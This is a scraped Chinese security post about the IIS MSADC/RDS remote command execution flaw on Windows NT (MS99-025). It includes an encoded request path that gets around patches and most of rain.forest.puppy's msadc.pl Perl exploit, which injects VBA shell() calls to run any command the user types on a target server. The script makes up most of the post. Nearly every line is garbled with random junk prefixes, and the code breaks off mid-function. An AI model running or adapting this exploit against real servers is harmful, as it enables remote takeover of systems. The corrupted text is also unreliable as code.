IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)
t&~*!w!+jH " -S@R=bi 涉及程序:
>65\ Microsoft NT server
p3V?n[/} 9#
#(B 描述:
*d9RD~Ee 1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限
U#|6n , B7PdavO# 详细:
(XEJd4r 如果你没有时间读详细内容的话,就删除:
b-Ru UfUn0 c:\Program Files\Common Files\System\Msadc\msadcs.dll
I8Y
#l'z 有关的安全问题就没有了。
0+/ew8~$ a}X.ewg 微软对关于Msadc的问题发了三次以上的补丁,仍然存在问题。
I.it4~]H %Z*N /nU 1、第一次补丁,基本上,其安全问题是MS Jet 3.5造成的,它允许调用VBA shell()函数,这将允许入侵者远程运行shell指令。
rTqGtmulG 关于利用ODBC远程漏洞的描述,请参看:
z
fu)X!t^ 73JrK_h http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm b4Pa5w #3?}MC 2、IIS 4.0的缺省安装设置的是MDAC1.5,这个安装下有一个/msadc/msadcs.dll的文件,也允许通过web远程访问ODBC,获取系统的控制权,这点在很多黑客论坛都讨论过,请参看
biENRJQ. http://www.microsoft.com/security/bulletins/MS99-025faq.asp =yWdtBng +G)a+r'0Q 这里不再论述。
Z>pZ| Q 3/J@MC 3、如果web目录下的/msadc/msadcs.dll/可以访问,那么ms的任何补丁可能都没用,用类似:
Y|buQQ| ?C']R(fQ\ /%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset
+[}<u- - 的请求,就可以绕过安全机制进行非法的VbBusObj请求,从而达到入侵的目的。 下面的代码仅供测试,严禁用于非法用途,否则后果自负!!!
&0]5zQ HSVl$66 ~_
u3_d. #将下面这段保存为txt文件,然后: "perl -x 文件名"
k"6&& Pbt7T
Q #!perl
IyAD>Q^ #
@M"(
r"ab # MSADC/RDS 'usage' (aka exploit) script
:*s@L2D6 #
D 9UM8Hxi # by rain.forest.puppy
U$;UW3- #
-b|"%e<' # Many thanks to Weld, Mudge, and Dildog from l0pht for helping me
)iFXa<5h # beta test and find errors!
O=6[/oc
' "28zLo3 use Socket; use Getopt::Std;
FIUQQQ\3 getopts("e:vd:h:XR", \%args);
3,n" d- k n/xt print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n";
<GF^VT|Ce !t}yoN
n| if (!defined $args{h} && !defined $args{R}) {
Z\cD98B# print qq~
RFX{]bQp9 Usage: msadc.pl -h <host> { -d <delay> -X -v }
!(gSXe)* -h <host> = host you want to scan (ip or domain)
=.w~qL -d <seconds> = delay between calls, default 1 second
$hMD6<e -X = dump Index Server path table, if available
MBAj.J -v = verbose
Qe-PW9C -e = external dictionary file for step 5
<W+9h0c 0o:R:* Or a -R will resume a command session
"BZ@m:I6hy P#D|CP/Cu ~; exit;}
v7\rW{~Jd& G #M0
C>n $ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target="";
}F"98s W if (defined $args{v}) { $verbose=1; } else {$verbose=0;}
P](8Qrl if (defined $args{d}) { $delay=$args{d};} else {$delay=1;}
_3.rPS,s if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/);
`jVRabZ0 $target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");}
(4#iLs if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; }
R:j
mn )sNPWn8<Uy if (!defined $args{R}){ $ret = &has_msadc;
=3!o_ die("Looks like msadcs.dll doesn't exist\n")if $ret==0}
p$uPj*
*f_A:`: print "Please type the NT commandline you want to run (cmd /c assumed):\n"
7iyx_gyo
. "cmd /c ";
VJ?>o $in=<STDIN>; chomp $in;
+bT[lJ2O>G $command="cmd /c " . $in ;
X?XB!D7[ vPc*x5w- if (defined $args{R}) {&load; exit;}
i<):%[Q)> "YWZ&_n** print "\nStep 1: Trying raw driver to btcustmr.mdb\n";
Ay PtbrO &try_btcustmr;
H \'1.8g/ ZCViZWo print "\nStep 2: Trying to make our own DSN...";
E(vO^)# &make_dsn ? print "<<success>>\n" : print "<<fail>>\n";
@BG].UJo 1b86@f print "\nStep 3: Trying known DSNs...";
aO S,%J^? &known_dsn;
crN*eFeW klH?!r& print "\nStep 4: Trying known .mdbs...";
K:GEC- &known_mdb;
E@yo/S g[bu9i if (defined $args{e}){
:Zx|= print "\nStep 5: Trying dictionary of DSN names...";
`oH4"9&]k3 &dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; }
SN]g4}K- Ln t 1 print "Sorry Charley...maybe next time?\n";
)(_NFpM exit;
-e_op'` Js vdC]+ ##############################################################################
[cco/=c lcy<taNu) sub sendraw { # ripped and modded from whisker
DR,7rT{$ sleep($delay); # it's a DoS on the server! At least on mine...
'#h ORQB my ($pstr)=@_;
5-y*]:g( socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
r/HTkXs I die("Socket problems\n");
O6vxp?:^ if(connect(S,pack "SnA4x8",2,80,$target)){
IvlfX`(" select(S); $|=1;
jM
@N<k print $pstr; my @in=<S>;
5[4nFa}R:5 select(STDOUT); close(S);
C ocw%Yl return @in;
79D~Mau# } else { die("Can't connect...\n"); }}
t
7o4 aBl" 1U/RMN3` ##############################################################################
)RT?/N W W]bgWKd sub make_header { # make the HTTP request
x)GheM^ my $msadc=<<EOT
zBu@a:E%H POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1
&0tW{-Hv" User-Agent: ACTIVEDATA
aKWxL e Host: $ip
^g5E&0a`g Content-Length: $clen
k!}(a0h Connection: Keep-Alive
M=lU`Sm :8hI3]9 ADCClientVersion:01.06
Rb. vyQ Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3
=&,T@5&-= 4dcm)Xr --!ADM!ROX!YOUR!WORLD!
E}v8Q~A( Content-Type: application/x-varg
!|UX4 Content-Length: $reqlen
X^K^az&L {-8Nq`w EOT
'Grii, ; $msadc=~s/\n/\r\n/g;
goA=U return $msadc;}
elQjPvb C\~}ySQc.e ##############################################################################
GK!@|Kk8q7 T^(W _S sub make_req { # make the RDS request
oBo*<6 my ($switch, $p1, $p2)=@_;
{it}\[3 my $req=""; my $t1, $t2, $query, $dsn;
p:5NMo q4&! mDU if ($switch==1){ # this is the btcustmr.mdb query
A[ncwJ $query="Select * from Customers where City=" . make_shell();
MP)Prl> $dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" .
kfZ`|w@q $p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";}
u~ipB*Zf aHmg!s}& elsif ($switch==2){ # this is general make table query
$
P5K $query="create table AZZ (B int, C varchar(10))";
Pd\4hy $dsn="$p1";}
NsP=l] <kPNe>-f elsif ($switch==3){ # this is general exploit table query
PJ0~ymE1~G $query="select * from AZZ where C=" . make_shell();
]% HxzJ $dsn="$p1";}
q,O_y<uw 4\u`MR elsif ($switch==4){ # attempt to hork file info from index server
yn_f%^!G $query="select path from scope()";
,?er AI $dsn="Provider=MSIDXS;";}
eZqEFMBTm ZY]$MZf5yo elsif ($switch==5){ # bad query
^4+NPk
$query="select";
GDSXBa*7 $dsn="$p1";}
+pwTM]bV "nCK%w= $t1= make_unicode($query);
fmj}NV&ma $t2= make_unicode($dsn);
4
ZnQpKg $req = "\x02\x00\x03\x00";
WA~[)S0 $req.= "\x08\x00" . pack ("S1", length($t1));
$wp>2 $req.= "\x00\x00" . $t1 ;
-X!<$<\y; $req.= "\x08\x00" . pack ("S1", length($t2));
;!A8A4~nu $req.= "\x00\x00" . $t2 ;
t;6<k7h $req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n";
"aF2:E' return $req;}
WoN},oT[i Q=Mv"~2>B ##############################################################################
O-
QT+] ^tGAJ_b79 sub make_shell { # this makes the shell() statement
{VW\EOPV~ return "'|shell(\"$command\")|'";}
L6PgWc;m 4KtD
k ##############################################################################
oI/_WY[t q,L>PN+W sub make_unicode { # quick little function to convert to unicode
5\C(2naf my ($in)=@_; my $out;
BqX"La, for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; }
I3Z?xsa@Z return $out;}
$<nRW*d %W\NYSm ##############################################################################
hmo4H3g!N S',h*e sub rdo_success { # checks for RDO return success (this is kludge)
cB){b'WJ my (@in) = @_; my $base=content_start(@in);
tjwf;g}$ if($in[$base]=~/multipart\/mixed/){
|ugdl|f return 1 if( $in[$base+10]=~/^\x09\x00/ );}
SyVXXk 0 return 0;}
Ie/_gz^ gfj_] ##############################################################################
(m:Q'4Ep ) hs&?:) sub make_dsn { # this makes a DSN for us
6E-eD\?I& my @drives=("c","d","e","f");
JCnHEH print "\nMaking DSN: ";
@9|
jY1 foreach $drive (@drives) {
ElUFne= print "$drive: ";
qsW&kW~ my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" .
@I?,!3`jS "Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq="
'1LN)Yw . $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n");
wg%Z $results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#;
+bLP+]7oZ return 0 if $2 eq "404"; # not found/doesn't exist
=o~+R\1ux+ if($2 eq "200") {
^3$U[u%q/{ foreach $line (@results) {
"h_f-vP return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}}
,--#3+]XU } return 0;}
f}(4v1T eLPtdP5k ##############################################################################
IC'+{3.m8 p-{ 4 $W sub verify_exists {
d9:I.SA)E my ($page)=@_;
S1Y,5,} my @results=sendraw("GET $page HTTP/1.0\n\n");
pLCj"D).M return $results[0];}
3-hcKE >y#MEN>? ##############################################################################
STjb2t,a %C,zR&]F sub try_btcustmr {
A?#i{R my @drives=("c","d","e","f");
xjbI1qCfe my @dirs=("winnt","winnt35","winnt351","win","windows");
8%m\J:eR H"? 5]!p foreach $dir (@dirs) {
#;a+)~3*O print "$dir -> "; # fun status so you can see progress
c=\ _[G( foreach $drive (@drives) {
wi7Br&bGi print "$drive: "; # ditto
Db|JR $reqlen=length( make_req(1,$drive,$dir) ) - 28;
WUie`p $reqlenlen=length( "$reqlen" );
i
/[{xRXiR $clen= 206 + $reqlenlen + $reqlen;
2[`n<R\ DSRc4|L my @results=sendraw(make_header() . make_req(1,$drive,$dir));
i4D]> if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;}
^UKY1Q. else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}}
C;HEvq7 6
:3Id ##############################################################################
e8 ]CB F]6G<6T[ sub odbc_error {
kR
%,:
my (@in)=@_; my $base;
KyX2CfW}t my $base = content_start(@in);
k
6[ if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this
eK1l~W% $in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
TxK
v!-1 $in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
\A\ $in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
oCOv
6( return $in[$base+4].$in[$base+5].$in[$base+6];}
5l8F.LtO\ print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n";
4'#=_J print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] .
6O{QmB0KK $in[$base+4] . $in[$base+5] . $in[$base+6]; exit;}
>oJabR cQ- #] ##############################################################################
D? %*L W)r|9G8T sub verbose {
mv:@ D my ($in)=@_;
jRC{8^98 return if !$verbose;
\Qah*1 print STDOUT "\n$in\n";}
oQ]FyV RyX11XU ##############################################################################
q!0HsF ;hq_}. sub save {
w,j!%N my ($p1, $p2, $p3, $p4)=@_;
N7"cMAs\G open(OUT, ">rds.save") || print "Problem saving parameters...\n";
{ObY1Y`ea print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n";
}rmr0Bh close OUT;}
Dz~^AuD6 S;Sy.Lp ##############################################################################
lH_pG ~ ;q9Y%* sub load {
{=
&&J@: my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq=";
n
Yx[9H N open(IN,"<rds.save") || die("Couldn't open rds.save\n");
`Z>=5:+G@2 @p=<IN>; close(IN);
#pAN
$ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/);
}|Q\@3& $target= inet_aton($ip) || die("inet_aton problems");
kK}?NKqT print "Resuming to $ip ...";
<(Ar[Rp $p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g;
2
oL$I(83 if($p[1]==1) {
',[AKXJ $reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28;
h&